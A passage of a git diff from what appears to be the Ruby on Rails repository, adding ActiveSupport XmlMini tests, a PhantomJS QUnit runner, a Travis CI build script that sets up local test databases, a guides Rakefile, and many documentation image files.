+    test "#to_tag accepts boolean types" do
+      @xml.to_tag(:b, true, @options)
+      assert_xml("<b type=\"boolean\">true</b>")
+    end
+
+    test "#to_tag accepts float types" do
+      @xml.to_tag(:b, 3.14, @options)
+      assert_xml("<b type=\"float\">3.14</b>")
+    end
+
+    test "#to_tag accepts decimal types" do
+      @xml.to_tag(:b, ::BigDecimal.new("1.2"), @options)
+      assert_xml("<b type=\"decimal\">1.2</b>")
+    end
+
+    test "#to_tag accepts date types" do
+      @xml.to_tag(:b, Date.new(2001, 2, 3), @options)
+      assert_xml("<b type=\"date\">2001-02-03</b>")
+    end
+
+    test "#to_tag accepts datetime types" do
+      @xml.to_tag(:b, DateTime.new(2001, 2, 3, 4, 5, 6, "+7"), @options)
+      assert_xml("<b type=\"dateTime\">2001-02-03T04:05:06+07:00</b>")
+    end
+
+    test "#to_tag accepts time types" do
+      @xml.to_tag(:b, Time.new(1993, 02, 24, 12, 0, 0, "+09:00"), @options)
+      assert_xml("<b type=\"dateTime\">1993-02-24T12:00:00+09:00</b>")
+    end
+
+    test "#to_tag accepts array types" do
+      @xml.to_tag(:b, ["first_name", "last_name"], @options)
+      assert_xml("<b type=\"array\"><b>first_name</b><b>last_name</b></b>")
+    end
+
+    test "#to_tag accepts hash types" do
+      @xml.to_tag(:b, { first_name: "Bob", last_name: "Marley" }, @options)
+      assert_xml("<b><first-name>Bob</first-name><last-name>Marley</last-name></b>")
+    end
+
+    test "#to_tag should not add type when skip types option is set" do
+      @xml.to_tag(:b, "Bob", @options.merge(skip_types: 1))
+      assert_xml("<b>Bob</b>")
+    end
+
+    test "#to_tag should dasherize the space when passed a string with spaces as a key" do
+      @xml.to_tag("New   York", 33, @options)
+      assert_xml "<New---York type=\"integer\">33</New---York>"
+    end
+
+    test "#to_tag should dasherize the space when passed a symbol with spaces as a key" do
+      @xml.to_tag(:"New   York", 33, @options)
+      assert_xml "<New---York type=\"integer\">33</New---York>"
+    end
+  end
+
+  class WithBackendTest < ActiveSupport::TestCase
+    module REXML end
+    module LibXML end
+    module Nokogiri end
+
+    setup do
+      @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+    end
+
+    teardown do
+      ActiveSupport::XmlMini.backend = @default_backend
+    end
+
+    test "#with_backend should switch backend and then switch back" do
+      @xml.backend = REXML
+      @xml.with_backend(LibXML) do
+        assert_equal LibXML, @xml.backend
+        @xml.with_backend(Nokogiri) do
+          assert_equal Nokogiri, @xml.backend
+        end
+        assert_equal LibXML, @xml.backend
+      end
+      assert_equal REXML, @xml.backend
+    end
+
+    test "backend switch inside #with_backend block" do
+      @xml.with_backend(LibXML) do
+        @xml.backend = REXML
+        assert_equal REXML, @xml.backend
+      end
+      assert_equal REXML, @xml.backend
+    end
+  end
+
+  class ThreadSafetyTest < ActiveSupport::TestCase
+    module REXML end
+    module LibXML end
+
+    setup do
+      @xml, @default_backend = ActiveSupport::XmlMini, ActiveSupport::XmlMini.backend
+    end
+
+    teardown do
+      ActiveSupport::XmlMini.backend = @default_backend
+    end
+
+    test "#with_backend should be thread-safe" do
+      @xml.backend = REXML
+      t = Thread.new do
+        @xml.with_backend(LibXML) { sleep 1 }
+      end
+      sleep 0.1 while t.status != "sleep"
+
+      # We should get `old_backend` here even while another
+      # thread is using `new_backend`.
+      assert_equal REXML, @xml.backend
+    end
+
+    test "nested #with_backend should be thread-safe" do
+      @xml.with_backend(REXML) do
+        t = Thread.new do
+          @xml.with_backend(LibXML) { sleep 1 }
+        end
+        sleep 0.1 while t.status != "sleep"
+
+        assert_equal REXML, @xml.backend
+      end
+    end
+  end
+
+  class ParsingTest < ActiveSupport::TestCase
+    def setup
+      @parsing = ActiveSupport::XmlMini::PARSING
+    end
+
+    def test_symbol
+      parser = @parsing["symbol"]
+      assert_equal :symbol, parser.call("symbol")
+      assert_equal :symbol, parser.call(:symbol)
+      assert_equal :'123', parser.call(123)
+      assert_raises(ArgumentError) { parser.call(Date.new(2013, 11, 12, 02, 11)) }
+    end
+
+    def test_date
+      parser = @parsing["date"]
+      assert_equal Date.new(2013, 11, 12), parser.call("2013-11-12T0211Z")
+      assert_raises(TypeError) { parser.call(1384190018) }
+      assert_raises(ArgumentError) { parser.call("not really a date") }
+    end
+
+    def test_datetime
+      parser = @parsing["datetime"]
+      assert_equal Time.new(2013, 11, 12, 02, 11, 00, 0), parser.call("2013-11-12T02:11:00Z")
+      assert_equal DateTime.new(2013, 11, 12), parser.call("2013-11-12T0211Z")
+      assert_equal DateTime.new(2013, 11, 12, 02, 11), parser.call("2013-11-12T02:11Z")
+      assert_equal DateTime.new(2013, 11, 12, 02, 11), parser.call("2013-11-12T11:11+9")
+      assert_raises(ArgumentError) { parser.call("1384190018") }
+    end
+
+    def test_integer
+      parser = @parsing["integer"]
+      assert_equal 123, parser.call(123)
+      assert_equal 123, parser.call(123.003)
+      assert_equal 123, parser.call("123")
+      assert_equal 0, parser.call("")
+      assert_raises(ArgumentError) { parser.call(Date.new(2013, 11, 12, 02, 11)) }
+    end
+
+    def test_float
+      parser = @parsing["float"]
+      assert_equal 123, parser.call("123")
+      assert_equal 123.003, parser.call("123.003")
+      assert_equal 123.0, parser.call("123,003")
+      assert_equal 0.0, parser.call("")
+      assert_equal 123, parser.call(123)
+      assert_equal 123.05, parser.call(123.05)
+      assert_raises(ArgumentError) { parser.call(Date.new(2013, 11, 12, 02, 11)) }
+    end
+
+    def test_decimal
+      parser = @parsing["decimal"]
+      assert_equal 123, parser.call("123")
+      assert_equal 123.003, parser.call("123.003")
+      assert_equal 123.0, parser.call("123,003")
+      assert_equal 0.0, parser.call("")
+      assert_equal 123, parser.call(123)
+      assert_raises(ArgumentError) { parser.call(123.04) }
+      assert_raises(ArgumentError) { parser.call(Date.new(2013, 11, 12, 02, 11)) }
+    end
+
+    def test_boolean
+      parser = @parsing["boolean"]
+      [1, true, "1"].each do |value|
+        assert parser.call(value)
+      end
+
+      [0, false, "0"].each do |value|
+        assert_not parser.call(value)
+      end
+    end
+
+    def test_string
+      parser = @parsing["string"]
+      assert_equal "123", parser.call(123)
+      assert_equal "123", parser.call("123")
+      assert_equal "[]", parser.call("[]")
+      assert_equal "[]", parser.call([])
+      assert_equal "{}", parser.call({})
+      assert_raises(ArgumentError) { parser.call(Date.new(2013, 11, 12, 02, 11)) }
+    end
+
+    def test_yaml
+      yaml = <<YAML
+product:
+  - sku         : BL394D
+    quantity    : 4
+    description : Basketball
+YAML
+      expected = {
+        "product" => [
+          { "sku" => "BL394D", "quantity" => 4, "description" => "Basketball" }
+        ]
+      }
+      parser = @parsing["yaml"]
+      assert_equal(expected, parser.call(yaml))
+      assert_equal({ 1 => "test" }, parser.call(1 => "test"))
+      assert_equal({ "1 => 'test'" => nil }, parser.call("{1 => 'test'}"))
+    end
+
+    def test_base64Binary_and_binary
+      base64 = <<BASE64
+TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
+IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
+dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
+dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
+ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=
+BASE64
+      expected_base64 = <<EXPECTED
+Man is distinguished, not only by his reason, but by this singular passion from
+other animals, which is a lust of the mind, that by a perseverance of delight
+in the continued and indefatigable generation of knowledge, exceeds the short
+vehemence of any carnal pleasure.
+EXPECTED
+
+      parser = @parsing["base64Binary"]
+      assert_equal expected_base64.gsub(/\n/, " ").strip, parser.call(base64)
+      parser.call("NON BASE64 INPUT")
+
+      parser = @parsing["binary"]
+      assert_equal expected_base64.gsub(/\n/, " ").strip, parser.call(base64, "encoding" => "base64")
+      assert_equal "IGNORED INPUT", parser.call("IGNORED INPUT", {})
+    end
+  end
+end
diff --git a/ci/phantomjs.js b/ci/phantomjs.js
new file mode 100644
index 0000000000..7a33fb14a3
--- /dev/null
+++ b/ci/phantomjs.js
@@ -0,0 +1,149 @@
+/*
+ * PhantomJS Runner QUnit Plugin 1.2.0
+ *
+ * PhantomJS binaries: http://phantomjs.org/download.html
+ * Requires PhantomJS 1.6+ (1.7+ recommended)
+ *
+ * Run with:
+ *   phantomjs runner.js [url-of-your-qunit-testsuite]
+ *
+ * e.g.
+ *   phantomjs runner.js http://localhost/qunit/test/index.html
+ */
+
+/*global phantom:false, require:false, console:false, window:false, QUnit:false */
+
+(function() {
+	'use strict';
+
+	var url, page, timeout,
+		args = require('system').args;
+
+	// arg[0]: scriptName, args[1...]: arguments
+	if (args.length < 2 || args.length > 3) {
+		console.error('Usage:\n  phantomjs runner.js [url-of-your-qunit-testsuite] [timeout-in-seconds]');
+		phantom.exit(1);
+	}
+
+	url = args[1];
+	page = require('webpage').create();
+	if (args[2] !== undefined) {
+		timeout = parseInt(args[2], 10);
+	}
+
+	// Route `console.log()` calls from within the Page context to the main Phantom context (i.e. current `this`)
+	page.onConsoleMessage = function(msg) {
+		console.log(msg);
+	};
+
+	page.onInitialized = function() {
+		page.evaluate(addLogging);
+	};
+
+	page.onCallback = function(message) {
+		var result,
+			failed;
+
+		if (message) {
+			if (message.name === 'QUnit.done') {
+				result = message.data;
+				failed = !result || !result.total || result.failed;
+
+				if (!result.total) {
+					console.error('No tests were executed. Are you loading tests asynchronously?');
+				}
+
+				phantom.exit(failed ? 1 : 0);
+			}
+		}
+	};
+
+	page.open(url, function(status) {
+		if (status !== 'success') {
+			console.error('Unable to access network: ' + status);
+			phantom.exit(1);
+		} else {
+			// Cannot do this verification with the 'DOMContentLoaded' handler because it
+			// will be too late to attach it if a page does not have any script tags.
+			var qunitMissing = page.evaluate(function() { return (typeof QUnit === 'undefined' || !QUnit); });
+			if (qunitMissing) {
+				console.error('The `QUnit` object is not present on this page.');
+				phantom.exit(1);
+			}
+
+			// Set a timeout on the test running, otherwise tests with async problems will hang forever
+			if (typeof timeout === 'number') {
+				setTimeout(function() {
+					console.error('The specified timeout of ' + timeout + ' seconds has expired. Aborting...');
+					phantom.exit(1);
+				}, timeout * 1000);
+			}
+
+			// Do nothing... the callback mechanism will handle everything!
+		}
+	});
+
+	function addLogging() {
+		window.document.addEventListener('DOMContentLoaded', function() {
+			var currentTestAssertions = [];
+
+			QUnit.log(function(details) {
+				var response;
+
+				// Ignore passing assertions
+				if (details.result) {
+					return;
+				}
+
+				response = details.message || '';
+
+				if (typeof details.expected !== 'undefined') {
+					if (response) {
+						response += ', ';
+					}
+
+					response += 'expected: ' + details.expected + ', but was: ' + details.actual;
+				}
+
+				if (details.source) {
+					response += "\n" + details.source;
+				}
+
+				currentTestAssertions.push('Failed assertion: ' + response);
+			});
+
+			QUnit.testDone(function(result) {
+				var i,
+					len,
+					name = '';
+
+				if (result.module) {
+					name += result.module + ': ';
+				}
+				name += result.name;
+
+				if (result.failed) {
+					console.log('\n' + 'Test failed: ' + name);
+
+					for (i = 0, len = currentTestAssertions.length; i < len; i++) {
+						console.log('    ' + currentTestAssertions[i]);
+					}
+				}
+
+				currentTestAssertions.length = 0;
+			});
+
+			QUnit.done(function(result) {
+				console.log('\n' + 'Took ' + result.runtime +  'ms to run ' + result.total + ' tests. ' + result.passed + ' passed, ' + result.failed + ' failed.');
+
+				if (typeof window.callPhantom === 'function') {
+					window.callPhantom({
+						'name': 'QUnit.done',
+						'data': result
+					});
+				}
+			});
+		}, false);
+	}
+})();
+
diff --git a/ci/travis.rb b/ci/travis.rb
new file mode 100755
index 0000000000..6e002d4a5b
--- /dev/null
+++ b/ci/travis.rb
@@ -0,0 +1,183 @@
+#!/usr/bin/env ruby
+require "fileutils"
+include FileUtils
+
+commands = [
+  'mysql -e "create user rails@localhost;"',
+  'mysql -e "grant all privileges on activerecord_unittest.* to rails@localhost;"',
+  'mysql -e "grant all privileges on activerecord_unittest2.* to rails@localhost;"',
+  'mysql -e "grant all privileges on inexistent_activerecord_unittest.* to rails@localhost;"',
+  'mysql -e "create database activerecord_unittest;"',
+  'mysql -e "create database activerecord_unittest2;"',
+  'psql  -c "create database activerecord_unittest;" -U postgres',
+  'psql  -c "create database activerecord_unittest2;" -U postgres'
+]
+
+commands.each do |command|
+  system("#{command} > /dev/null 2>&1")
+end
+
+class Build
+  MAP = {
+    "railties" => "railties",
+    "ap"       => "actionpack",
+    "am"       => "actionmailer",
+    "amo"      => "activemodel",
+    "as"       => "activesupport",
+    "ar"       => "activerecord",
+    "av"       => "actionview",
+    "aj"       => "activejob",
+    "ac"       => "actioncable",
+    "guides"   => "guides"
+  }
+
+  attr_reader :component, :options
+
+  def initialize(component, options = {})
+    @component = component
+    @options = options
+  end
+
+  def run!(options = {})
+    self.options.update(options)
+
+    Dir.chdir(dir) do
+      announce(heading)
+
+      if guides?
+        run_bug_report_templates
+      else
+        rake(*tasks)
+      end
+    end
+  end
+
+  def announce(heading)
+    puts "\n\e[1;33m[Travis CI] #{heading}\e[m\n"
+  end
+
+  def heading
+    heading = [gem]
+    heading << "with #{adapter}" if activerecord?
+    heading << "in isolation" if isolated?
+    heading << "integration" if integration?
+    heading.join(" ")
+  end
+
+  def tasks
+    if activerecord?
+      tasks = ["#{adapter}:#{'isolated_' if isolated?}test"]
+      case adapter
+      when "mysql2"
+        tasks.unshift "db:mysql:rebuild"
+      when "postgresql"
+        tasks.unshift "db:postgresql:rebuild"
+      end
+      tasks
+    else
+      ["test", ("isolated" if isolated?), ("integration" if integration?), ("ujs" if ujs?)].compact.join(":")
+    end
+  end
+
+  def key
+    key = [gem]
+    key << adapter if activerecord?
+    key << "isolated" if isolated?
+    key.join(":")
+  end
+
+  def activesupport?
+    gem == "activesupport"
+  end
+
+  def activerecord?
+    gem == "activerecord"
+  end
+
+  def guides?
+    gem == "guides"
+  end
+
+  def ujs?
+    component.split(":").last == "ujs"
+  end
+
+  def isolated?
+    options[:isolated]
+  end
+
+  def integration?
+    component.split(":").last == "integration"
+  end
+
+  def gem
+    MAP[component.split(":").first]
+  end
+  alias :dir :gem
+
+  def adapter
+    component.split(":").last
+  end
+
+  def rake(*tasks)
+    tasks.each do |task|
+      cmd = "bundle exec rake #{task}"
+      puts "Running command: #{cmd}"
+      return false unless system(env, cmd)
+    end
+    true
+  end
+
+  def env
+    if activesupport? && !isolated?
+      # There is a known issue with the listen tests that causes files to be
+      # incorrectly GC'ed even when they are still in-use. The current solution
+      # is to only run them in isolation to avoid randomly failing our test suite.
+      { "LISTEN" => "0" }
+    else
+      {}
+    end
+  end
+
+  def run_bug_report_templates
+    Dir.glob("bug_report_templates/*.rb").all? do |file|
+      system(Gem.ruby, "-w", file)
+    end
+  end
+end
+
+if ENV["GEM"] == "aj:integration"
+  ENV["QC_DATABASE_URL"]  = "postgres://postgres@localhost/active_jobs_qc_int_test"
+  ENV["QUE_DATABASE_URL"] = "postgres://postgres@localhost/active_jobs_que_int_test"
+end
+
+results = {}
+
+ENV["GEM"].split(",").each do |gem|
+  [false, true].each do |isolated|
+    next if ENV["TRAVIS_PULL_REQUEST"] && ENV["TRAVIS_PULL_REQUEST"] != "false" && isolated
+    next if RUBY_VERSION < "2.4" && isolated
+    next if gem == "railties" && isolated
+    next if gem == "ac" && isolated
+    next if gem == "ac:integration" && isolated
+    next if gem == "aj:integration" && isolated
+    next if gem == "guides" && isolated
+    next if gem == "av:ujs" && isolated
+
+    build = Build.new(gem, isolated: isolated)
+    results[build.key] = build.run!
+  end
+end
+
+failures = results.select { |key, value| !value  }
+
+if failures.empty?
+  puts
+  puts "Rails build finished successfully"
+  exit(true)
+else
+  puts
+  puts "Rails build FAILED"
+  puts "Failed components: #{failures.map(&:first).join(', ')}"
+  exit(false)
+end
diff --git a/guides/.document b/guides/.document
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/guides/.document
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
new file mode 100644
index 0000000000..d8b122d264
--- /dev/null
+++ b/guides/CHANGELOG.md
@@ -0,0 +1 @@
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/Rakefile b/guides/Rakefile
new file mode 100644
index 0000000000..3a6f10040f
--- /dev/null
+++ b/guides/Rakefile
@@ -0,0 +1,89 @@
+namespace :guides do
+  desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"'
+  task generate: "generate:html"
+
+  # Guides are written in UTF-8, but the environment may be configured for some
+  # other locale, these tasks are responsible for ensuring the default external
+  # encoding is UTF-8.
+  #
+  # Real use cases: Generation was reported to fail on a machine configured with
+  # GBK (Chinese). The docs server once got misconfigured somehow and had "C",
+  # which broke generation too.
+  task :encoding do
+    %w(LANG LANGUAGE LC_ALL).each do |env_var|
+      ENV[env_var] = "en_US.UTF-8"
+    end
+  end
+
+  namespace :generate do
+    desc "Generate HTML guides"
+    task html: :encoding do
+      ENV["WARNINGS"] = "1" # authors can't disable this
+      ruby "rails_guides.rb"
+    end
+
+    desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/gp/feature.html?docId=1000765211"
+    task kindle: :encoding do
+      require "kindlerb"
+      unless Kindlerb.kindlegen_available?
+        abort "Please run `setupkindlerb` to install kindlegen"
+      end
+      unless `convert` =~ /convert/
+        abort "Please install ImageMagick"
+      end
+      ENV["KINDLE"] = "1"
+      Rake::Task["guides:generate:html"].invoke
+    end
+  end
+
+  # Validate guides -------------------------------------------------------------------------
+  desc 'Validate guides, use ONLY=foo to process just "foo.html"'
+  task validate: :encoding do
+    ruby "w3c_validator.rb"
+  end
+
+  desc "Show help"
+  task :help do
+    puts <<HELP
+
+Guides are taken from the source directory, and the result goes into the
+output directory. Assets are stored under files, and copied to output/files as
+part of the generation process.
+
+You can generate HTML, Kindle or both formats using the `guides:generate` task.
+
+All of these processes are handled via rake tasks, here's a full list of them:
+
+#{%x[rake -T]}
+Some arguments may be passed via environment variables:
+
+  RAILS_VERSION=tag
+    If guides are being generated for a specific Rails version set the Git tag
+    here, otherwise the current SHA1 is going to be used to generate edge guides.
+
+  ALL=1
+    Force generation of all guides.
+
+  ONLY=name
+    Useful if you want to generate only one or a set of guides.
+
+    Generate only association_basics.html:
+      ONLY=assoc
+
+    Separate many using commas:
+      ONLY=assoc,migrations
+
+  GUIDES_LANGUAGE
+    Use it when you want to generate translated guides in
+    source/<GUIDES_LANGUAGE> folder (such as source/es)
+
+Examples:
+  $ rake guides:generate ALL=1 RAILS_VERSION=v5.1.0
+  $ rake guides:generate ONLY=migrations
+  $ rake guides:generate:kindle
+  $ rake guides:generate GUIDES_LANGUAGE=es
+HELP
+  end
+end
+
+task default: "guides:help"
diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg
new file mode 100644
index 0000000000..cfc3333958
--- /dev/null
+++ b/guides/assets/images/akshaysurve.jpg
diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png
new file mode 100644
index 0000000000..1a9926e578
--- /dev/null
+++ b/guides/assets/images/belongs_to.png
diff --git a/guides/assets/images/book_icon.gif b/guides/assets/images/book_icon.gif
new file mode 100644
index 0000000000..efc5e06880
--- /dev/null
+++ b/guides/assets/images/book_icon.gif
diff --git a/guides/assets/images/bullet.gif b/guides/assets/images/bullet.gif
new file mode 100644
index 0000000000..95a26364a4
--- /dev/null
+++ b/guides/assets/images/bullet.gif
diff --git a/guides/assets/images/chapters_icon.gif b/guides/assets/images/chapters_icon.gif
new file mode 100644
index 0000000000..a61c28c02d
--- /dev/null
+++ b/guides/assets/images/chapters_icon.gif
diff --git a/guides/assets/images/check_bullet.gif b/guides/assets/images/check_bullet.gif
new file mode 100644
index 0000000000..bd54ef64c9
--- /dev/null
+++ b/guides/assets/images/check_bullet.gif
diff --git a/guides/assets/images/credits_pic_blank.gif b/guides/assets/images/credits_pic_blank.gif
new file mode 100644
index 0000000000..a6b335d0c9
--- /dev/null
+++ b/guides/assets/images/credits_pic_blank.gif
diff --git a/guides/assets/images/csrf.png b/guides/assets/images/csrf.png
new file mode 100644
index 0000000000..a8123d47c3
--- /dev/null
+++ b/guides/assets/images/csrf.png
diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png
new file mode 100644
index 0000000000..a3c1843d1d
--- /dev/null
+++ b/guides/assets/images/edge_badge.png
diff --git a/guides/assets/images/favicon.ico b/guides/assets/images/favicon.ico
new file mode 100644
index 0000000000..87192a8a07
--- /dev/null
+++ b/guides/assets/images/favicon.ico
diff --git a/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif
new file mode 100644
index 0000000000..5268ef8373
--- /dev/null
+++ b/guides/assets/images/feature_tile.gif
diff --git a/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif
new file mode 100644
index 0000000000..3fe21a8275
--- /dev/null
+++ b/guides/assets/images/footer_tile.gif
diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
new file mode 100644
index 0000000000..733d380cba
--- /dev/null
+++ b/guides/assets/images/fxn.png
diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
new file mode 100644
index 0000000000..3f16f3b280
--- /dev/null
+++ b/guides/assets/images/getting_started/article_with_comments.png
diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
new file mode 100644
index 0000000000..d05ef31bbe
--- /dev/null
+++ b/guides/assets/images/getting_started/challenge.png
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
new file mode 100644
index 0000000000..ce65734e6c
--- /dev/null
+++ b/guides/assets/images/getting_started/confirm_dialog.png
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
new file mode 100644
index 0000000000..50b178808e
--- /dev/null
+++ b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
new file mode 100644
index 0000000000..6eefd2885a
--- /dev/null
+++ b/guides/assets/images/getting_started/form_with_errors.png
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
new file mode 100644
index 0000000000..a2a087a598
--- /dev/null
+++ b/guides/assets/images/getting_started/index_action_with_edit_link.png
diff --git a/guides/assets/images/getting_started/new_article.png b/guides/assets/images/getting_started/new_article.png
new file mode 100644
index 0000000000..6edcc161b6
--- /dev/null
+++ b/guides/assets/images/getting_started/new_article.png
diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png
new file mode 100644
index 0000000000..44f89ec8de
--- /dev/null
+++ b/guides/assets/images/getting_started/rails_welcome.png
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
new file mode 100644
index 0000000000..52150f0426
--- /dev/null
+++ b/guides/assets/images/getting_started/routing_error_no_controller.png
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
new file mode 100644
index 0000000000..08c54f921f
--- /dev/null
+++ b/guides/assets/images/getting_started/routing_error_no_route_matches.png
diff --git a/guides/assets/images/getting_started/show_action_for_articles.png b/guides/assets/images/getting_started/show_action_for_articles.png
new file mode 100644
index 0000000000..68837131f7
--- /dev/null
+++ b/guides/assets/images/getting_started/show_action_for_articles.png
diff --git a/guides/assets/images/getting_started/template_is_missing_articles_new.png b/guides/assets/images/getting_started/template_is_missing_articles_new.png
new file mode 100644
index 0000000000..a1603f5d28
--- /dev/null
+++ b/guides/assets/images/getting_started/template_is_missing_articles_new.png
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_articles.png b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
new file mode 100644
index 0000000000..ec4758e085
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_articles.png b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
new file mode 100644
index 0000000000..f7e7464d61
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
diff --git a/guides/assets/images/grey_bullet.gif b/guides/assets/images/grey_bullet.gif
new file mode 100644
index 0000000000..3c08b1571c
--- /dev/null
+++ b/guides/assets/images/grey_bullet.gif
diff --git a/guides/assets/images/habtm.png b/guides/assets/images/habtm.png
new file mode 100644
index 0000000000..41013b743d
--- /dev/null
+++ b/guides/assets/images/habtm.png
diff --git a/guides/assets/images/has_many.png b/guides/assets/images/has_many.png
new file mode 100644
index 0000000000..0d67bea38b
--- /dev/null
+++ b/guides/assets/images/has_many.png
diff --git a/guides/assets/images/has_many_through.png b/guides/assets/images/has_many_through.png
new file mode 100644
index 0000000000..b4da60e1fb
--- /dev/null
+++ b/guides/assets/images/has_many_through.png
diff --git a/guides/assets/images/has_one.png b/guides/assets/images/has_one.png
new file mode 100644
index 0000000000..c70763856a
--- /dev/null
+++ b/guides/assets/images/has_one.png
diff --git a/guides/assets/images/has_one_through.png b/guides/assets/images/has_one_through.png
new file mode 100644
index 0000000000..888a02b775
--- /dev/null
+++ b/guides/assets/images/has_one_through.png
diff --git a/guides/assets/images/header_backdrop.png b/guides/assets/images/header_backdrop.png
new file mode 100644
index 0000000000..81f4d91774
--- /dev/null
+++ b/guides/assets/images/header_backdrop.png
diff --git a/guides/assets/images/header_tile.gif b/guides/assets/images/header_tile.gif
new file mode 100644
index 0000000000..6b1af15eab
--- /dev/null
+++ b/guides/assets/images/header_tile.gif
diff --git a/guides/assets/images/i18n/demo_html_safe.png b/guides/assets/images/i18n/demo_html_safe.png
new file mode 100644
index 0000000000..be75d4830e
--- /dev/null
+++ b/guides/assets/images/i18n/demo_html_safe.png
diff --git a/guides/assets/images/i18n/demo_localized_pirate.png b/guides/assets/images/i18n/demo_localized_pirate.png
new file mode 100644
index 0000000000..528cc27900
--- /dev/null
+++ b/guides/assets/images/i18n/demo_localized_pirate.png
diff --git a/guides/assets/images/i18n/demo_translated_en.png b/guides/assets/images/i18n/demo_translated_en.png
new file mode 100644
index 0000000000..bbb5e93c3a
--- /dev/null
+++ b/guides/assets/images/i18n/demo_translated_en.png
diff --git a/guides/assets/images/i18n/demo_translated_pirate.png b/guides/assets/images/i18n/demo_translated_pirate.png
new file mode 100644
index 0000000000..305fa93a14
--- /dev/null
+++ b/guides/assets/images/i18n/demo_translated_pirate.png
diff --git a/guides/assets/images/i18n/demo_translation_missing.png b/guides/assets/images/i18n/demo_translation_missing.png
new file mode 100644
index 0000000000..e9833ba307
--- /dev/null
+++ b/guides/assets/images/i18n/demo_translation_missing.png
diff --git a/guides/assets/images/i18n/demo_untranslated.png b/guides/assets/images/i18n/demo_untranslated.png
new file mode 100644
index 0000000000..2653abc491
--- /dev/null
+++ b/guides/assets/images/i18n/demo_untranslated.png
diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README
new file mode 100644
index 0000000000..09da77fc86
--- /dev/null
+++ b/guides/assets/images/icons/README
@@ -0,0 +1,5 @@
+Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
+icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
+from the Jimmac icons to get round MS IE and FOP PNG incompatibilities.
+
+Stuart Rackham
diff --git a/guides/assets/images/icons/callouts/1.png b/guides/assets/images/icons/callouts/1.png
new file mode 100644
index 0000000000..c5d02adcf4
--- /dev/null
+++ b/guides/assets/images/icons/callouts/1.png
diff --git a/guides/assets/images/icons/callouts/10.png b/guides/assets/images/icons/callouts/10.png
new file mode 100644
index 0000000000..fe89f9ef83
--- /dev/null
+++ b/guides/assets/images/icons/callouts/10.png
diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png
new file mode 100644
index 0000000000..3b7b9318e7
--- /dev/null
+++ b/guides/assets/images/icons/callouts/11.png
diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png
new file mode 100644
index 0000000000..7b95925e9d
--- /dev/null
+++ b/guides/assets/images/icons/callouts/12.png
diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png
new file mode 100644
index 0000000000..4b99fe8efc
--- /dev/null
+++ b/guides/assets/images/icons/callouts/13.png
diff --git a/guides/assets/images/icons/callouts/14.png b/guides/assets/images/icons/callouts/14.png
new file mode 100644
index 0000000000..dbde9ca749
--- /dev/null
+++ b/guides/assets/images/icons/callouts/14.png
diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png
new file mode 100644
index 0000000000..70e4bba615
--- /dev/null
+++ b/guides/assets/images/icons/callouts/15.png
diff --git a/guides/assets/images/icons/callouts/2.png b/guides/assets/images/icons/callouts/2.png
new file mode 100644
index 0000000000..8c57970ba9
--- /dev/null
+++ b/guides/assets/images/icons/callouts/2.png
diff --git a/guides/assets/images/icons/callouts/3.png b/guides/assets/images/icons/callouts/3.png
new file mode 100644
index 0000000000..57a33d15b4
--- /dev/null
+++ b/guides/assets/images/icons/callouts/3.png
diff --git a/guides/assets/images/icons/callouts/4.png b/guides/assets/images/icons/callouts/4.png
new file mode 100644
index 0000000000..f061ab02b8
--- /dev/null
+++ b/guides/assets/images/icons/callouts/4.png
